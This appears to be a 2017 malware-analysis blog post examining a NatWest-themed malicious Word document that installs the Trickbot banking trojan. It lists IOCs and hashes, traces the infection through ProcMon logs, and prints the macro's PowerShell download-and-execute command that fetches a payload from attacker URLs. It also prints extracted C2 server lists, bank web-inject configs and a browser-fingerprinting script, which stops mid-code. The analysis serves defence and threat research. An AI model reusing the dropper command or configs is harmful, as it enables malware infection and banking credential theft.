{"id":949,"date":"2017-08-31T23:38:08","date_gmt":"2017-08-31T22:38:08","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=949"},"modified":"2017-09-01T10:33:14","modified_gmt":"2017-09-01T09:33:14","slug":"2017-08-30-trickbot-maldoc-part-one","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=949","title":{"rendered":"2017-08-30 Trickbot Maldoc – Part One"},"content":{"rendered":"

For today’s post, I will be looking at a malicious Word document that we got spoofing NatWest which led to Trickbot malware being installed on the system. After I found this sample, I started to see posts on Tweeter from people like @dvk01uk<\/a> and @VK_Intel<\/a> posting about Trickbot. For this initial investigation there are three PCAPs since I initially did not see much going on after the initial infection, and then after a couple of minutes I started to see more traffic and fired up Wireshark again to see what I could capture. The last one is from when I saw some other traffic on the system as I was writing this blog up and wanted to capture it as well.<\/p>\n

For more information about Trickbot and what it is, take a look at this article from ZDNet which should give you a good overview of what it is: http:\/\/www.zdnet.com\/article\/dyre-successor-trickbot-attacks-australian-banks\/<\/a>.
\nThere are some awesome deep dives into this malware that you can find by reading Malwarebyte’s blog about it here<\/a> and also Fortinet’s blog post about it as well located here<\/a>.<\/p>\n

As usual, all artifacts and logs from my investigation can be found over in my Github repo located here<\/a>. The ProcMon logs are too large for Github, so you can find the logs here<\/a>.<\/p>\n

\"\"<\/a><\/p>\n

IOCs:
\n=====
\n193.227.247.241:80 or 193.227.248.241\/ campuslinne.com\/pages\/kasaragarban.png (TCP GET)
\n95.154.199.118 \/ changetheworld.bit\/gate.php?client_id=ABDA76321D1B05B88228B05AD1BF97F2&connected=0&server_port=0&debug=0 (TCP GET)
\nhttp:\/\/campusassas.com\/fonction\/kasaragarban.png
\n23.23.170.235:80 \/ api.ipify.org (TCP HTTP)
\n5.2.76.34:443 (TCP)
\n84.40.65.85:449 (TCP)
\n5.2.65.130:443 (TCP)
\n107.22.214.64:80 (TCP)
\n194.87.102.36:443 (TCP)
\n51.254.164.249:443 (TCP)
\n84.238.198.166:449 (TCP)
\n91.139.236.92:449 (TCP)
\n51.254.164.249:443 (TCP)
\n46.105.238.157:443 (TCP)
\n188.165.62.15:443 (TCP)
\n149.56.167.227:443 (TCP)
\n188.165.62.46:443 (TCP)
\n37.59.80.96:443 (TCP)
\n67.21.84.23:443 (TCP)
\n199.181.238.221:443 (TCP)
\n178.156.202.114:443 (TCP)
\n210.16.102.251:443 (TCP)
\n5.152.210.176:443 (TCP)
\n66.85.27.165:443 (TCP)
\n199.181.238.224:443 (TCP)
\n89.46.222.240:443 (TCP)
\n172.82.152.171:443 (TCP)
\n188.165.62.8:443 (TCP)
\n89.46.222.246:443 (TCP)
\n178.156.202.206:443 (TCP)
\n194.87.102.167:8082 (TCP)
\n95.154.199.118:1062 (TCP)
\n217.12.210.54:447 (TCP)<\/p>\n

Artifacts:
\n==========
\nFile name: natwest1753465723087_352.doc
\nFile size: 84KB
\nFile path: NA
\nMD5 hash: 25f8b96e340803da98f2c7f95f29c025
\nVirustotal: http:\/\/virustotal.com\/#\/file\/9b54f1e19cd44ead8845394ddc5990387293dac96b7840f7823af9b651f18d51\/community<\/a>
\nDetection ratio: 7 \/ 59
\nFirst detected: 2017-08-30 09:49:05
\nMalwr: http:\/\/malwr.com\/analysis\/YjhhNjBiNmM2NDVmNDc2NTg5ZGU1NmFmNTZmMTVlYjk\/<\/a>
\nReverse.IT: http:\/\/www.reverse.it\/sample\/9b54f1e19cd44ead8845394ddc5990387293dac96b7840f7823af9b651f18d51?environmentId=100<\/a><\/p>\n

File name: Buqtjkk.exe
\nFile size: 465KB
\nFile path: C:\\Users\\%username%\\AppData\\Local\\Temp\\
\nMD5 hash: 8b0beb0d5b25aab99a0a79dd297c5644
\nVirustotal: http:\/\/virustotal.com\/#\/file\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5\/detection<\/a>
\nDetection ratio: 43 \/ 65
\nFirst detected: 2017-08-30 10:01:10
\nMalwr: NA
\nReverse.IT: http:\/\/www.reverse.it\/sample\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5?environmentId=100<\/a><\/p>\n

File name: kasaragarban.png (File was not downloaded via script, but I grabbed a copy anyways)
\nFile size: 465KB
\nFile path: NA
\nMD5 hash: 8b0beb0d5b25aab99a0a79dd297c5644
\nVirustotal: http:\/\/virustotal.com\/#\/file\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5\/detection<\/a>
\nDetection ratio: 43 \/ 65
\nFirst detected: 2017-08-30 10:01:10
\nMalwr: NA
\nReverse.IT: http:\/\/www.reverse.it\/sample\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5?environmentId=100<\/a><\/p>\n

File name: Atpsijj.exe
\nFile size: 465KB
\nFile path: C:\\Users\\%username%\\AppData\\Roaming\\winapp\\Atpsijj.exe
\nMD5 hash: 8b0beb0d5b25aab99a0a79dd297c5644
\nVirustotal: http:\/\/virustotal.com\/#\/file\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5\/detection<\/a>
\nDetection ratio: 43 \/ 65
\nFirst detected: 2017-08-30 10:01:10
\nMalwr: NA
\nReverse.IT: http:\/\/www.reverse.it\/sample\/fbabcb0827d40e53a5cfd5c35c045fff26d0ea369f8ad95d5f2c1d05464102c5?environmentId=100<\/a><\/p>\n

File name: tndqlx.bat
\nFile size: 333B
\nFile path: C:\\Users\\Bill\\AppData\\Local\\Temp
\nMD5 hash: 980408f633a99c678a65f2283b3cca22
\nVirustotal: NA
\nMalwr: NA
\nReverse.IT: NA<\/p>\n

File name: client_id
\nFile size: 98B
\nFile path: C:\\Users\\Bill\\AppData\\Roaming\\winapp
\nMD5 hash: 4c721cd3c6ba294c54862d7f586a1593
\nVirustotal: NA
\nMalwr: NA
\nReverse.IT: NA<\/p>\n

File name: group_tag
\nFile size: 10B
\nFile path: C:\\Users\\Bill\\AppData\\Roaming\\winapp
\nMD5 hash: e9da051cb1bc0407e3e4d0151886c426
\nVirustotal: NA
\nMalwr: NA
\nReverse.IT: NA<\/p>\n

Analysis:
\n=========
\nBelow is a high-level overview of what the infection looks like from the host perspective via Process Monitor.<\/p>\n

\"\"<\/a><\/p>\n

\"\"<\/a><\/p>\n

Basically the Word document opens up an instance of CMD.exe and runs the following Powershell script.<\/p>\n

\r\ncmd \/c PowerShell "'PowerShell ""function stase([String] $strin){(New-Object System.Net.WebClient).DownloadFile($strin,''%TMP%\\Buqtjkk.exe'');Start-Process ''%TMP%\\Buqtjkk.exe'';}try{stase(''http:\/\/campuslinne.com\/pages\/kasaragarban.png'')}catch{stase(''http:\/\/campusassas.com\/fonction\/kasaragarban.png'')}'"" | Out-File -encoding ASCII -FilePath %TMP%\\tndqlx.bat;Start-Process '%TMP%\\tndqlx.bat' -WindowStyle Hidden"<\/pre>\n
This script is used to go out and grab what looks to be PNG image files, but really are malicious binary files. In my example, the domain “http:\/\/campuslinne[.]com\/pages\/kasaragarban[.]png” was used and not the other one. I did manually go and grab the file from the unused URL in the script just to see if they were the same. Turns out that my hunch was correct as they are the same file. <\/p>\n
\"\"<\/a><\/p>\n
The Powershell script also seems to do a scan of the Start Menu and Documents folders before creating the “tndqlx.bat” file in the %TEMP% directory which looks pretty close to the above Powershell script.<\/p>\n
\r\nPowerShell "function stase([String] $strin){(New-Object System.Net.WebClient).DownloadFile($strin,'C:\\Users\\Bill\\AppData\\Local\\Temp\\Buqtjkk.exe');Start-Process 'C:\\Users\\Bill\\AppData\\Local\\Temp\\Buqtjkk.exe';}try{stase('http:\/\/campuslinne.com\/pages\/kasaragarban.png')}catch{stase('http:\/\/campusassas.com\/fonction\/kasaragarban.png')<\/pre>\n
Which continues by pulling down the malicious binary using either of the two URLs above, and proceeds to start that file as a new process.<\/p>\n
\"\"<\/a><\/p>\n
We then see that the “Buqtjkk.exe” creates the file “Atpsijj.exe” (PID: 2620) and shortly thereafter start up.<\/p>\n
\"\"<\/a><\/p>\n
“Atpsijj.exe” (PID: 2620) reads\/queries some registry keys and some other bits and bobs on the system. It then proceeds to hollow out a svchost.exe (PID: 1964) process as seen below.<\/p>\n
\"\"<\/a><\/p>\n
\"\"<\/a><\/p>\n
While “svchost.exe” (PID: 1964) continues to scan the system (files and registry keys), we see another “svchost.exe” process (PID:884) create the scheduled task along with the required registry key as well.<\/p>\n
\"\"<\/a><\/p>\n
\"\"<\/a><\/p>\n
Jumping back to “svchost.exe” (PID: 1964), it creates the “Modules” folder found in the “winapp” folder along with the “client_id” in the %TEMP% folder. We also see it querying registry keys related to things such as TCPIP and TCPIP6 Winsock keys and TCPIP and DNSCache parameters as well. There is also a call from this svchost.exe (PID: 1964) that does a CreateFileMapping and LoadImage for “rasadhlp.dll” and “FWPUCLNT.DLL” which are most likely what is helping this process make outbound requests since there is a TCPConnect from this process to Amazon.<\/p>\n
\"\"<\/a><\/p>\n
\"\"<\/a><\/p>\n
One thing to note here since there is a request for it in the ProcMon logs; this sample of Trickbot seems to be different than the other articles that I have seen written about Trickbot. From what I can tell, there was never any config.conf file written to the system, not was there any modules written to the Modules folder. But when looking at the strings of “svchost.exe” (PID: 1964) there are some calls for things like “importDll32” or as in the ProcMon log, there is a call for the config.conf file which is not found on the system. I do not know if this is because my sample was somewhat “broken” or if this is an older version and perhaps did not use these items. <\/p>\n
After “svchost.exe” (PID: 1964) reads various registry keys located in the HKLM\\Software\\Microsoft\\Cryptography, it finally creates the “group_tag” file under the “winapp” folder. <\/p>\n
We then finally see the task scheduler (PID: 2072 and a child to the svchost.exe PID: 884) start up which then proceeds to spin up another “Atpsijj.exe” (PID: 2744) process, which in turns spins up another svchost.exe (PID: 1484).<\/p>\n
Switching gears a bit here, since I came across VK_Intel’s ghostbin link (see above) giving some details about the configuration of Trickbot, and also seeing hasherezade’s @hasherezade<\/a>‘s link for various Trickbot configs here<\/a>, I decided to run strings2 against “svchost.exe” (PID: 1964) to see if I could find anything of use. I first looked for the keyword “module” within the log. Thankfully I was able to find various hits of the word with some associated configurations around the found line. The following was the most complete within the log.<\/p>\n
\r\n<moduleconfig>\r\n  <autostart>yes<\/autostart>\r\n  <sys>yes<\/sys>\r\n  <needinfo name="id"\/>\r\n  <needinfo name="ip"\/>\r\n  <autoconf>\r\n    <conf ctl="dinj" file="dinj" period="20"\/>\r\n    <conf ctl="sinj" file="sinj" period="20"\/>\r\n    <conf ctl="dpost" file="dpost" period="60"\/>\r\n  <\/autoconf>\r\n<\/moduleconfig><\/pre>\n
Note: I did find examples of  set to no as well in the strings log. Odd thing is that based on the MalwareBytes blog listed above, the following section deals with the theft of data saved by Outlook.<\/p>\n
\r\n<moduleconfig>\r\n\t<autostart>no<\/autostart>\r\n\t<needinfo name="id"\/>\r\n\t<needinfo name="ip"\/>\r\n\t<autoconf>\r\n\t\t<conf ctl="SetConf" file="mailconf" period="90"\/>\r\n\t<\/autoconf>\r\n<\/moduleconfig><\/pre>\n
I then searched for the keyword “:449” and came across the following block.<\/p>\n
\r\n<mcconf>\r\n\t<ver>1000043<\/ver>\r\n\t<gtag>tt0002<\/gtag>\r\n<servs>\r\n\t<srv>84.238.198.166:449<\/srv>\r\n\t<srv>91.139.236.92:449<\/srv>\r\n\t<srv>84.40.65.85:449<\/srv>\r\n\t<srv>51.254.164.249:443<\/srv>\r\n\t<srv>46.105.238.157:443<\/srv>\r\n\t<srv>188.165.62.15:443<\/srv>\r\n\t<srv>149.56.167.227:443<\/srv>\r\n\t<srv>188.165.62.46:443<\/srv>\r\n\t<srv>37.59.80.96:443<\/srv>\r\n\t<srv>67.21.84.23:443<\/srv>\r\n\t<srv>199.181.238.221:443<\/srv>\r\n\t<srv>178.156.202.114:443<\/srv>\r\n\t<srv>210.16.102.251:443<\/srv>\r\n\t<srv>5.152.210.176:443<\/srv>\r\n\t<srv>66.85.27.165:443<\/srv>\r\n\t<srv>199.181.238.224:443<\/srv>\r\n\t<srv>89.46.222.240:443<\/srv>\r\n\t<srv>172.82.152.171:443<\/srv>\r\n\t<srv>188.165.62.8:443<\/srv>\r\n\t<srv>89.46.222.246:443<\/srv>\r\n\t<srv>178.156.202.206:443<\/srv>\r\n<\/servs>\r\n<autorun>\r\n\t<module name="systeminfo" ctl="GetSystemInfo"\/>\r\n\t<module name="injectDll"\/>\r\n<\/autorun>\r\n<\/mcconf><\/pre>\n
Next I searched for the keyword “sinj” and found what I believe is the list of domains that this piece of malware is monitoring for.<\/p>\n
\r\n<mm>http:\/\/www.nwolb.com*<\/mm>\r\n<sm>http:\/\/www.nwolb.com\/default.aspx*<\/sm>\r\n<nh>cqsauvfqrkchbptxelozmsdyainj.net<\/nh>\r\n<url404>*\/ServiceManagement\/GenericEr\r\nenu.aspx?ErrorPage=PNF*<\/url404>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/www6.rbc.com*<\/mm>\r\n<sm>http:\/\/www6.rbc.com\/webapp\/ukv0\/signin\/logon.xht\r\n<nh>chsaryoxijedlfktmvupsbqzcwgh.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/www.rbsdigital.com*<\/mm>\r\n<sm>http:\/\/www.rbsdigital.com\/default\r\n>\r\n<nh>cksadrwyqvgokpitzunjhfslamex.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/lloydslink.online.lloydsbank.com*<\/mm>\r\n<sm>http:\/\/lloydslin\r\nloydsbank.com\/Logon*<\/sm>\r\n<nh>dcsadhevyqfzwmcnsiobtpjkalrg.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/www.ulsterbankanytimebanking.ie*<\/mm>\r\ns:\/\/www.ulsterbankanytimebanking.ie\/default.aspx*<\/sm>\r\n<nh>ddsamcpfbxhavswtquzjgiykelnd.net<\/nh>\r\n<url404>\/ServiceManagement\/GenericErrorPageNoMenu.aspx?ErrorPage=PNR\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/banking.bankofscotland.co.uk*<\/mm>\r\n<sm>http:\/\/banking.bankofscotland.co.uk\/Logon*<\/sm>\r\n<nh>dbsajondmzrE\r\neipuawg.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/businessbanking*.tdcommercialbanking.com*<\/mm>\r\n<sm>http:\/\/businessbanking*.tdcommercialH\r\nm\/WBB\/Login*<\/sm>\r\n<nh>basabroxpcnqfdteyhazwlgmvsji.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/online-business.bankofscotland.co.uk*<\/mm>\r\n<s\r\n\/online-business.bankofscotland.co.uk\/business*<\/sm>\r\n<nh>bcsaqnrhsiztfouvcdmpklwabgje.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/transtasmaf\r\nnz.com*<\/mm>\r\n<sm>http:\/\/transtasman.online.anz.com\/client*<\/sm>\r\n<nh>rqsccqwzhiksmjuefrlxptbogvyd.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>httpsi\r\ndirect.co.nz*<\/mm>\r\n<sm>http:\/\/www.anzdirect.co.nz\/online\/EnterANZDirect.do*<\/sm>\r\n<nh>rhscjefivzbwxdprlhksnmoqcgay.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\nm>http:\/\/online.coutts.com*<\/mm>\r\n<sm>http:\/\/online.coutts.com\/eBankingCouttsLogin\/login*<\/sm>\r\n<nh>qasaswzlpmdufjxevhociqngybrt.net<\/nh>\r\n<url404>*\/error_path\/404.\r\n404>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/business.co-operativebank.co.uk*<\/mm>\r\n<sm>http:\/\/business.co-operativebank.co.uk\/corp\/*<\/sm>\r\n<nh>q\r\nsohxunbzdcerpgaqi.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/fdonline.co-operativebank.co.uk*<\/mm>\r\n<sm>http:\/\/fdonline.co-operativebank.co=\r\n\/sm>\r\n<nh>hbsabvronpckthldjquyaigsfmez.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/corporate.metrobankonline.co.uk*<\/mm>\r\n<sm>http:\/\/corpora \r\nnkonline.co.uk\/servlet\/BrowserServlet*<\/sm>\r\n<nh>bosaxblkqnivecuwaygptrzfmshd.com<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/www2?.bmo.com*<\/mm>+\r\ns:\/\/www2?.bmo.com\/ctpauth\/CTPEAILogin\/CustUserPasswordAuthServlet?TAM_OP=login*<\/sm>\r\n<nh>bosdhymixgdkzqrabfctswelopvj.org<\/nh>\r\n<url404>http:\/\/www2?.bmo.com\/ctpauth\r\nin\/CustUserPasswordAuthServlet?TAM_OP=login?ERROR_CODE=0x00000000*<\/url404>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/www.onlinebanking.iombank.com*\r\n>http:\/\/www.onlinebanking.iombank.com\/default.aspx*<\/sm>\r\n<nh>kdsawblqdhtngzmuksyiaxjefcro.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/bank.\r\no.uk*<\/mm>\r\n<sm>http:\/\/bank.barclays.co.uk\/olb\/auth\/LoginLink.action*<\/sm>\r\n<nh>kbsavjthsyofzqnpburdxgciweam.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n:\/\/corporate.santander.co.uk*<\/mm>\r\n<sm>http:\/\/corporate.santander.co.uk\/LOGSCU_NS_ENS*<\/sm>\r\n<nh>obsamphtznlewckfbauqgvsrodxy.com<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<sinj>\r\n<mm>http:\/\/leumionline.bankleumi.co.uk*<\/mm>\r\n<sm>http:\/\/leumionline.bankleumi.co.uk*<\/sm>\r\n<nh>ohsaotjprgfakvxwulnyqzdsechm.com<\/nh>\r\n<url404>\/my.policy<\/\r\nsrv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/onlinebusiness.lloydsbank.co.uk*<\/mm>\r\n<sm>http:\/\/onlinebusiness.lloydsbank.co.uk\/business*<\/sm>\r\n<nh>absad\r\nyjntuewxhzvfo.com<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/s2b.standardchartered.com*<\/mm>\r\n<sm>http:\/\/s2b.standardchartered.com\/ssoapp\/login\r\n<nh>rdsamhxbjqfidyonavurlgtzwkes.com<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/cmo.cibc.com*<\/mm>\r\n<sm>http:\/\/cmo.cibc.com*<\/sm>\r\n<nh>cdsask\r\ngyqmnizcalhx.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/www.anztransactive.anz.com*<\/mm>\r\n<sm>http:\/\/www.anztransactive.anz.com\/*<\/sm>\r\n<nh\r\nyvkdfjoblezxtiwsuhc.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/bbonline.banksa.com.au*<\/mm>\r\n<sm>http:\/\/bbonline.banksa.com.au\/html\/cbank.a\r\n<nh>rrsalxeyfboznkgajwvspmturqdh.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/ibs.bankwest.com.au*<\/mm>\r\n<sm>http:\/\/ibs.bankwest.com.au\/BWLogW\r\nx*<\/sm>\r\n<nh>rqsaceayxbnfhvuqdswplmkzjtoi.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/netteller2.tsw.com.au*<\/mm>\r\n<sm>http:\/\/netteller2.tswZ\r\nlphi\/ntv451.asp*<\/sm>\r\n<nh>rhsaevfyuirhsbnzakxpdtlmocgq.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/businessonline.westpac.com.au*<\/mm>\r\n<sm>M\r\nsinessonline.westpac.com.au\/esis\/Login\/SrvPage*<\/sm>\r\n<nh>rssamvybridtxocunwpaqlhzgefs.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/online.corp\r\ncom.au*<\/mm>\r\n<sm>http:\/\/online.corp.westpac.com.au\/*<\/sm>\r\n<nh>rksalhodzprnvuqxsfgmkyeictja.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/www{\r\niz.commbank.com.au*<\/mm>\r\n<sm>http:\/\/www?.my.commbiz.commbank.com.au\/Logon\/UserMaintenance\/Login.aspx*<\/sm>\r\n<nh>qosaxuavegqkomtyndjzcbplhisw.org<\/nh>\r\n<srv>210.16.1n\r\n\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/bbonline.bankofmelbourne.com.au*<\/mm>\r\n<sm>http:\/\/bbonline.bankofmelbourne.com.au\/html\/login.aspx*<\/sm>\r\n<nh>qasasidoqpfhrgwykvan\r\nrg<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/banking.lloydsbank.com*<\/mm>\r\n<sm>http:\/\/banking.lloydsbank.com\/Logon*<\/sm>\r\n<nh>qrsacdptvluyojma\r\nqn.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/bank.ruralbank.com.au*<\/mm>\r\n<sm>http:\/\/bank.ruralbank.com.au\/banking\/RBLIBanking*<\/sm>\r\n<nh>\r\nsehzibcgvxmykapwul.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/nabconnect*.nab.com.au*<\/mm>\r\n<sm>http:\/\/nabconnect*.nab.com.au\/auth\/nabclogi2\r\n*<\/sm>\r\n<nh>qksaiwgxsdkcmtqrhynvbopzaejf.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/ib.tmbank.com.au*<\/mm>\r\n<sm>http:\/\/ib.tmbank.com.au\/ib\/%\r\nin.aspx*<\/sm>\r\n<nh>hosajempfozwnqlxgcbrdthivuas.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/digital.defencebank.com.au*<\/mm>\r\n<sm>http:\/\/dig(\r\ncebank.com.au*<\/sm>\r\n<nh>hbsajlhrugctfpyavoqmwnbedkzi.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/velocity.ocbc.com*<\/mm>\r\n<sm>http:\/\/veloci\r\nm\/portal.view*<\/sm>\r\n<nh>hksazewovfilhjutxcmdybsqkang.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/uniservices2.uobgroup.com*<\/mm>\r\n<sm>https:\r\nces2.uobgroup.com\/ELO\/login.jsp*<\/sm>\r\n<nh>sosanehiqtckfxzrdjglsomvubay.org<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj>\r\n<sinj>\r\n<mm>http:\/\/sg.bibplus.uobgroup.com*<\/mm>\r\n<sm>http:\/\/sg.bibplus.uobgroup.com\/BIB\/pu<\/pre>\n
It was here that I noticed something in the block of XML above. For example, take this block.<\/p>\n
\r\n<sinj>\r\n<mm>http:\/\/bank.\r\no.uk*<\/mm>\r\n<sm>http:\/\/bank.barclays.co.uk\/olb\/auth\/LoginLink.action*<\/sm>\r\n<nh>kbsavjthsyofzqnpburdxgciweam.net<\/nh>\r\n<srv>210.16.101.54:443<\/srv>\r\n<\/sinj><\/pre>\n
There is the URL for Barclays bank, under it is another domain that looks to be dynamically generated or something along with an IP address of 210.16.101.54 over port 443 (HTTPS). This IP address belongs to an Scalebuzz Solutions Pvt LTD in India (http:\/\/www.robtex.com\/ip-lookup\/210.16.101.54<\/a>). This IP address is found in all the listings under the banks URLs as well. So I opened up Chrome on my still infected VM all the while Process Explorer was still running off to the side. It was there that I noticed that Chrome was now running under a svchost.exe process and not by itself as one would expect.<\/p>\n
\"\"<\/a><\/p>\n
So I decided to test a theory. Was the weird dynamically generated URL under the bank’s URL an actual valid domain and would the svchost process intercept the request to the bank’s URL and use the dynamically generated domain instead? So I went to “http:\/\/bank.barclays.co.uk\/olb\/auth\/LoginLink.action” with Wireshark running to see if this theory was correct. Interestingly enough, there were no DNS calls made to that weird domain, but there was a lot of calls made to the IP address of 210.16.101.54 over HTTPS. I did try this with a couple of other domains and it seems that the behavior is the same across the board. So at this time I am not sure what the weird domain name is used for. <\/p>\n
\"\"<\/a><\/p>\n
The other thing that I noticed was that the svchost processes that were running on the system (in particular the svchost process running Chrome) had the “winapp” directory as the “Current Directory” and that the “Autostart Location” was different. Looking at some of the other svchost processes, it looks like that the “normal” svchost.exe process would have nothing listed in “Command Line” or in “Current Directory.”<\/p>\n
\"\"<\/a><\/p>\n
Some other interesting bits and bobs that I was able to find in the strings log were:<\/p>\n
\r\nhttp:\/\/84.40.65.85:449\/kas3\/BILL-PC_W617601.ABDA76321D1B05B88228B05AD1BF97F2\/5\/spk\/\r\nC:\\Windows\\system32\\bcryptprimitives.dll\r\ntps:\/\/84.40.65.85:449\/kas3\/BILL-PC_W617601.ABDA76321D1B05B88228B05AD1BF97F2\/5\/spk\/\r\n22A614A838823E6C56C298BA9B92D123244998EA0799A219814750D9320D5F5F\r\n\r\n-----\r\n\r\nhttp:\/\/84.40.65.85:449\/kas3\/BILL-PC_W617601.ABDA76321D1B05B88228B05AD1BF97F2\/5\/spk\/\r\nC:\\Users\\Bill\\AppData\\Roaming\\winapp;.;C:\\Windows\\system32;C:\\Windows\\system;C:\\Windows;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\\r\n\/kas3\/BILL-PC_W617601.ABDA76321D1B05B88228B05AD1BF97F2\/5\/spk\/\r\n36\r\n\r\n-----\r\n\r\ncheckip.amazonaws.com\r\nxxGY\r\n0h6w\r\nxxGY\r\nQS[\\\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\ncheckip.amazonaws.com\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\neast-1.elb.amazonaws.com\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\ncheckip.amazonaws.com\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\n173.244.48.143\r\n\r\n-----\r\n\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\ncheckip.amazonaws.com\r\nP<Ew\r\nWHRB\r\nHTTP\/1.1 200 OK\r\nDate: Thu, 31 Aug 2017 10:59:09 GMT\r\nServer: lighttpd\/1.4.41\r\nContent-Length: 15\r\nConnection: keep-alive\r\n\r\n173.244.48.143<\/pre>\n
I also managed to find the Javascript that Trickbot uses to gather information about browser configurations as mentioned by MalwareBytes which sends the information back to the malware:<\/p>\n
\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<script type="text\/javascript">\r\nfunction ahead()\r\n{\r\n  objs = new Array([navigator, "navigator"], [screen, "screen"]);\r\n  str = new String("");\r\n\r\n  for(i = 0; i<objs.length; i++) {\r\n    for(var prop in objs[i][0]) {\r\n      val = objs[i][0][prop];\r\n      if(val === "")\r\n        if(objs[i][1] == "screen") val = 0;\r\n        else val = '""';\r\n      if(typeof(val) == 'object' && val != null)\r\n        st = "[object]";\r\n      else\r\n        st = String(val);\r\n      \/\/if(st[0] == 'f') break;\r\n      st = st.replace(\/\\n|\\r\/g, "");\r\n      str += objs[i][1] + "." + prop + " = " + st + "\\n";\r\n    }\r\n  }\r\n  \/\/plugins\r\n  str += "plugins.hide = true\\n";\r\n  var plugN = navigator.plugins.length;\r\n  for(i = 0; i < plugN; i++) {\r\n    for(var atr in navigator.plugins[i]) {\r\n      str += "plugins." + (i + 1) +  "." + atr + " = " +\r\n             String(navigator.plugins[i][atr]).replace(\/\\n|\\r\/g,"") + "\\n";\r\n    }\r\n  }\r\n  var d = new Date();\r\n  str += "timezone = " + d.getTimezoneOffset() + "\\n";\r\n\r\n  str+='navigator.javaEnabled()='+navigator.javaEnabled().toString()+'\\n';\r\n  var ua = navigator.userAgent;\r\n  var ie = ua.indexOf('msie')>=0 || ua.indexOf('Trident')>=0;\r\n  if(ie) {\r\n    document.getElementById('ie').value = 'sux';\r\n    